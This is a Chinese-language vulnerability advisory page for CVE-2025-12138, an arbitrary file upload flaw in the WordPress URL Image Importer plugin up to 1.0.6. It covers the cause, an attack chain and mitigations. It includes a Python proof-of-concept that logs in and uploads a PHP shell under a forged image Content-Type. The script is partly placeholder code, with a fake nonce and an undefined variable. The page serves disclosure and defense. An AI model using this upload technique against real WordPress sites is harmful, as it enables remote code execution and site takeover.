IPBUF安全漏洞报告
English
CVE-2025-12138 CVSS 8.8 高危

CVE-2025-12138 WordPress URL Image Importer插件任意文件上传漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-12138
漏洞类型
任意文件上传
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
URL Image Importer插件 for WordPress

相关标签

任意文件上传远程代码执行WordPress插件CVE-2025-12138URL Image Importer身份验证绕过高危漏洞

漏洞概述

CVE-2025-12138是WordPress的URL Image Importer插件中存在的一个高危安全漏洞。该漏洞允许具有Author级别及以上权限的认证攻击者上传任意文件到受影响的服务器。由于插件在uimptr_import_image_from_url()函数中依赖用户可控的Content-Type HTTP头来验证文件上传,并且在执行正确验证之前就将文件写入服务器,这为攻击者提供了绕过安全检查的机会。攻击者可以利用此漏洞上传恶意PHP文件,从而在服务器上实现远程代码执行(RCE),完全控制受影响的WordPress站点。该漏洞影响URL Image Importer插件1.0.6及以下所有版本。由于WordPress插件的广泛使用,此漏洞可能影响大量使用该插件的网站,对网站安全构成严重威胁。

技术细节

漏洞根源在于URL Image Importer插件的uimptr_import_image_from_url()函数中存在不安全的文件上传验证机制。插件使用HTTP请求中的Content-Type头来判断上传文件的类型,但攻击者可以轻易伪造此头部信息。攻击流程如下:首先,攻击者以Author级别或更高权限账户登录WordPress;然后,构造一个带有伪造Content-Type(如image/jpeg)的HTTP请求,但请求体中包含恶意PHP代码;插件接收到请求后,根据伪造的Content-Type认为这是一个合法的图片文件;随后,插件在完成文件类型验证之前就将文件写入服务器的目标目录;最后,攻击者通过访问上传的PHP文件来执行任意代码。漏洞代码位于插件的url-image-importer.php文件第1319、1353、1358和198行附近。修复版本为1.0.7,需要插件开发者加强对文件内容的实际验证,而非依赖客户端提供的Content-Type头。

攻击链分析

STEP 1
1
攻击者获取WordPress站点的Author级别或更高权限账户
STEP 2
2
构造恶意HTTP请求,伪造Content-Type为image/jpeg,但请求体包含PHP恶意代码
STEP 3
3
通过插件的uimptr_import_image_from_url()函数发送上传请求
STEP 4
4
插件依赖伪造的Content-Type进行验证,未对文件内容进行实际检查
STEP 5
5
恶意文件在完成验证前被写入服务器指定目录
STEP 6
6
攻击者通过Web访问上传的PHP文件,执行任意代码实现RCE

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12138 PoC - Arbitrary File Upload in URL Image Importer WordPress Plugin # Target: WordPress site with URL Image Importer plugin <= 1.0.6 def upload_shell(target_url, username, password, shell_content): """ Upload arbitrary file via the vulnerable endpoint """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Get nonce for the import action admin_url = f"{target_url}/wp-admin/admin.php?page=uimptr_settings" resp = session.get(admin_url) # Extract nonce (simplified - in real attack would need proper extraction) nonce = "extracted_nonce_value" # Upload malicious file with forged Content-Type upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'uimptr_import_file': ('shell.php', shell_content, 'image/jpeg') # Forged type } data = { 'action': 'uimptr_import_image_from_url', 'nonce': nonce } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: # Extract uploaded file path from response print(f"[+] File uploaded successfully") print(f"[+] Shell location: {target_url}/wp-content/uploads/{uploaded_filename}") else: print(f"[-] Upload failed") if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <shell_file>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] with open(sys.argv[4], 'r') as f: shell = f.read() upload_shell(target, user, pwd, shell)

影响范围

URL Image Importer插件 <= 1.0.6

防御指南

临时缓解措施
在等待官方修复期间,建议采取以下临时缓解措施:1) 立即升级URL Image Importer插件到最新版本1.0.7;2) 如果无法立即升级,考虑暂时禁用该插件;3) 审查并限制具有Author级别权限的用户账户;4) 在Web服务器层面配置,禁止uploads目录执行PHP文件;5) 使用WordPress安全插件监控异常文件上传活动;6) 实施文件上传内容的深度检测,不仅依赖文件扩展名或Content-Type。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表